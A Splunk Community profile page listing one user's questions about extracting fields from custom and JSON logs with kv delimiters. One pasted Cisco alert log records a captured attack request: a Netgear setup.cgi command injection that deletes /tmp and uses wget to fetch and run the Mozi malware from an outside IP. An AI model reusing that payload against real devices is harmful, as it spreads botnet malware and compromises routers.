×

Join the Conversation

Without signing in, you're just watching from the sidelines. Sign in or Register to connect, share, and be part of the Splunk Community.
Ask a Question
srivenna
Engager
Member since: ‎04-22-2019
‎03-04-2026
Community Statistics
Posts 7
Solutions 0
Karma Given 0
Karma Received 0
Member Since ‎04-22-2019
Activity Feed
View All

Extract using pairdelim and kvdelim

by in Splunk Search
‎08-09-2024 10:08 AM
‎08-09-2024 10:08 AM
I am trying to extract fields for this custom data but unable to parse the data | extract kv pairdelim="  " kvdelim=" _: " Log _: Alert _: 2024-07-28T15:00:00-06:01 _: 1234 _: duckcreek.medpro.com _: QA _: EDW Policy _: 1.2 _: 600123568 _: Quote Intake from Outlook _: intake_quote _: CreateCalculation.cpp _: CalculateTaxRate _: true _: Identify Applicatble Tax Rate _: data _: testing Log _: Alert _: 2024-07-28T15:00:00-06:01 _: 1234 _: duckcreek.medpro.com _: QA _: EDW Policy _: 1.2 _: 600123568 _: Quote Intake from Outlook _: intake_quote _: CreateCalculation.cpp _: CalculateTaxRate _: true _: Identify Applicatble Tax Rate _: data _: testing Log _: Inform _: 2024-07-28T15:00:00-06:01 _: 1234 _: duckcreek.medpro.com _: QA _: EDW Policy _: 1.2 _: 600123568 _: Quote Intake from Outlook _: intake_quote _: CreateCalculation.cpp _: CalculateTaxRate _: true _: Identify Applicatble Tax Rate _: data _: testing Log _: Inform _: 2024-07-28T15:00:00-06:01 _: 1234 _: duckcreek.medpro.com _: QA _: EDW Policy _: 1.2 _: 600123569 _: Quote Intake from Outlook _: intake_quote _: CreateCalculation.cpp _: CalculateTaxRate _: true _: Identify Applicatble Tax Rate _: data _: testing Log _: Inform _: 2024-07-28T15:00:00-06:01 _: 123456789 _: duckcreek.medpro.com _: UAT _: EDW Policy _: 1.2 _: 600123570 _: Quote Intake from Outlook _: intake_quote _: CreateCalculation.cpp _: CalculateTaxRate _: true _: Identify Applicable Tax Rate _: data _: testing Log _: Alert _: 2024-07-28T15:00:00-06:01 _: 123456789 _: duckcreek.medpro.com _: NFT2 _: EDW Policy _: 1.2 _: 600123571 _: Quote Intake from Outlook _: intake_quote _: CreateCalculation.cpp _: CalculateTaxRate _: true _: Identify Applicable Tax Rate Info _: data _: testing Log _: Inform _: 2024-07-28T15:00:00-06:01 _: 12345 _: duckcreek.medpro.com _: UAT _: EDW Policy _: 1.2 _: 600123570 _: Quote Intake from Outlook _: intake_quote _: CreateCalculation.cpp _: CalculateTaxRate _: true _: Identify Applicable Tax Rate _: data _: testing Log _: Alert _: 2024-07-28T15:00:00-06:01 _: 12345 _: duckcreek.medpro.com _: NFT2 _: EDW Policy _: 1.2 _: 600123571 _: Quote Intake from Outlook _: intake_quote _: CreateCalculation.cpp _: CalculateTaxRate _: true _: Identify Applicable Tax Rate Info _: data _: testing Log _: Inform _: 2024-07-28T15:00:00-06:01 _: 1234 _: duckcreek.medpro.com _: UAT _: EDW Policy _: 1.2 _: 600123570 _: Quote Intake from Outlook _: intake_quote _: CreateCalculation.cpp _: CalculateTaxRate _: true _: Identify Applicable Tax Rate _: data _: testing Log _: Alert _: 2024-07-28T15:00:00-06:01 _: 1234 _: duckcreek.medpro.com _: NFT2 _: EDW Policy _: 1.2 _: 600123571 _: Quote Intake from Outlook _: intake_quote _: CreateCalculation.cpp _: CalculateTaxRate _: true _: Identify Applicable Tax Rate Info _: data _: testing Log _: Inform _: 2024-07-28T15:00:00-06:01 _: 1234 _: duckcreek.medpro.com _: QA _: EDW Policy _: 1.2 _: 600123570 _: Quote Intake from Outlook _: intake_quote _: CreateCalculation.cpp _: CalculateTaxRate _: true _: Identify Applicable Tax Rate _: data _: testing Log _: Alert _: 2024-07-28T15:00:00-06:01 _: 1234 _: duckcreek.medpro.com _: QA _: EDW Policy _: 1.2 _: 600123571 _: Quote Intake from Outlook _: intake_quote _: CreateCalculation.cpp _: CalculateTaxRate _: true _: Identify Applicable Tax Rate Info _: data _: testing Log _: Inform _: 2024-07-28T15:00:00-06:01 _: 1234 _: duckcreek.medpro.com _: QA _: EDW Policy _: 1.2 _: 600123568 _: Quote Intake from Outlook _: intake_quote _: CreateCalculation.cpp _: CalculateTaxRate _: true _: Identify Applicatble Tax Rate _: data _: testing Any help would be appreciated . can someone please help me with parsing from search or command line using props ... View more
Labels

Json data fields are not extracting properly

by in Splunk Search
‎01-31-2022 12:25 PM
‎01-31-2022 12:25 PM
Cisco logs with json format is not extracting properly. I tried from GUI using this kv delims in search and they are working fine. | kv pairdelim="," kvdelim="=:" But how can i save them?. Or do we have any alternate way to extract these fields. 2022-01-31T13:11:20.233100-05:00 prd-vswnfa.bbtnet.com {"source": "cisco_nfa", "time": "2022-01-31 16:26:47+00:00", "alert": "http-shell-cmd", "tactic": "Initial Access", "ttp": "Exploit Public-Facing Application", "flow_id": "13847779", "app": "HTTP", "user": "", "s_hg": "China,CHINA UNICOM China169 Backbone", "s_ip": "125.46.191.152", "s_port": 41007, "s_bytes": 245, "s_payload": "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://125.46.191.152:39222/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1", "p_hg": "Public Space BBT", "p_ip": "74.120.69.217", "p_port": 80, "p_bytes": 303, "p_payload": "301 301 Moved Permanently"} 2022-01-31T13:11:20.202060-05:00 prd-vswnfa.bbtnet.com {"source": "cisco_nfa", "time": "2022-01-31 14:28:58+00:00", "alert": "log4j-shell-recon", "tactic": "Reconnaissance", "ttp": "Gather Victim Host Information", "flow_id": "13842059", "app": "HTTPS", "user": "", "s_hg": "Log4j Watchlist,Brute Force,Apache,Germany,Tor IP,Tor Exit IP", "s_ip": "185.220.101.157", "s_port": 9390, "s_bytes": 820, "s_payload": "............,.lb....Z.....", "p_hg": "Public Space BBT", "p_ip": "74.120.69.238", "p_port": 443, "p_bytes": 1460, "p_payload": "...m..J..4.v.A....\"FJ...:."} ... View more
Labels

Re: fields are not extracted properly

by in Splunk Search
‎01-17-2022 07:31 AM
‎01-17-2022 07:31 AM
Yes! It helped. Perfectly communicated, and works so well. Thank you!     ... View more

Re: fields are not extracted properly

by in Splunk Search
‎01-13-2022 06:46 AM
‎01-13-2022 06:46 AM
I tried this  | spath | rename _raw as temp, cwmessage as _raw | kv pairdelim="|" kvdelim="=" All = fields are extracted. But fields with " : " are not extracted. I am  specifically looking for Pricing hashcode and rules hashcode.   Thanks again. ... View more

Re: fields are not extracted properly

by in Splunk Search
‎01-13-2022 06:31 AM
‎01-13-2022 06:31 AM
Thank you for your response. yes Splunk has extracted all these  fields like logGroup, aws_acctid, cwtimestamp and, most importantly, cwmessage. how can i extract fields from cwmessagge seperated with pipe. Mainly i am looking for fields tran_id, batch_id and pricing hascode and rules hashcode. Do i need to write any props or i can do field extraction with the query? ... View more

fields are not extracted properly

by in Splunk Search
‎01-12-2022 11:33 AM
‎01-12-2022 11:33 AM
recently we onboarded these logs but most of the fields are not extracted though these values are mentioned with =. I am trying to extract batch_id , tran_id and pricing hashcode and rules hashcode.  I tried to extract from GUI but i am seeing lot of mismatches. can anyone help me with this. here are sample logs {"logGroup": "ldcs-devl-eb-06-webapp-Application", "logStream": "ip-10-108-18-243 (i-004009051755596bb) - ld-pricing.log", "aws_acctid": "189693026861", "aws_region": "us-east-1", "splunkdata": {"shard_id": "000000000020", "splkhf": "spitsi-acpt-log-heavy-4", "rvt": 1642014308933}, "lifecycle": "devl-shared", "aws_appshortname": "ldcs", "appcode": "FVV", "cwmessage": "2022-01-12 14:05:02.322|[DefaultThreadPool-18] LD-PRICING-INFO c.f.l.pricing.mapper.DealSetsMapper STARTOFFIELDS|component=LD-PRICING|user_id=c9273wne|seller_id=165700007|session_id=D86C9BAF3F308C7838E4A52BC0DA0938.LDNG-UI-cl02|tran_id=9a6e8ba3-2c01-4b18-bbfb-88a854bbdb85|batch_id=9a6e8ba3-2c01-4b18-bbfb-88a854bbdb85|dealset_id=116784|execution_type=WholeLoan|loan_count=1|time=|messageId=ID:SOADevl-ems08.752D61D05D2DBE2E02:414|ENDOFFIELDS - Pricing Info ~ Pricing Hashcode: 1761264532 - Rules Hashcode: -1500207091 - uniqueClientDealIdentifier: a37801e4-dbe6-4c3a-bc26-17d1a78a0b28 - sellerLoanIdentifier: BTP22_0111_B10 - poolIdentifier: null - investorCommitmentIdentifier: 116784 - sellerId: 165700007 ", "cwtimestamp": 1641996302000} {"logGroup": "ldcs-devl-eb-06-webapp-Application", "logStream": "ip-10-108-18-243 (i-004009051755596bb) - ld-pricing.log", "aws_acctid": "189693026861", "aws_region": "us-east-1", "splunkdata": {"shard_id": "000000000020", "splkhf": "spitsi-acpt-log-heavy-4", "rvt": 1642014334358}, "lifecycle": "devl-shared", "aws_appshortname": "ldcs", "appcode": "FVV", "cwmessage": "2022-01-12 14:05:27.035|[DefaultThreadPool-20] LD-PRICING-INFO c.f.l.pricing.mapper.DealSetsMapper STARTOFFIELDS|component=LD-PRICING|user_id=c9273wne|seller_id=165700007|session_id=D86C9BAF3F308C7838E4A52BC0DA0938.LDNG-UI-cl02|tran_id=751b1112-0511-4dbd-b94c-a6409c23b20d|batch_id=751b1112-0511-4dbd-b94c-a6409c23b20d|dealset_id=116784|execution_type=WholeLoan|loan_count=1|time=|messageId=ID:SOADevl-ems08.752D61D05D2DBE2E0A:457|ENDOFFIELDS - Pricing Info ~ Pricing Hashcode: 1761264532 - Rules Hashcode: -1500207091 - uniqueClientDealIdentifier: a37801e4-dbe6-4c3a-bc26-17d1a78a0b28 - sellerLoanIdentifier: BTP22_0111_B10 - poolIdentifier: null - investorCommitmentIdentifier: 116784 - sellerId: 165700007 ", "cwtimestamp": 1641996327000} ... View more
Labels
Contact Me
Online Status
Offline
Date Last Visited
‎03-04-2026 09:46 AM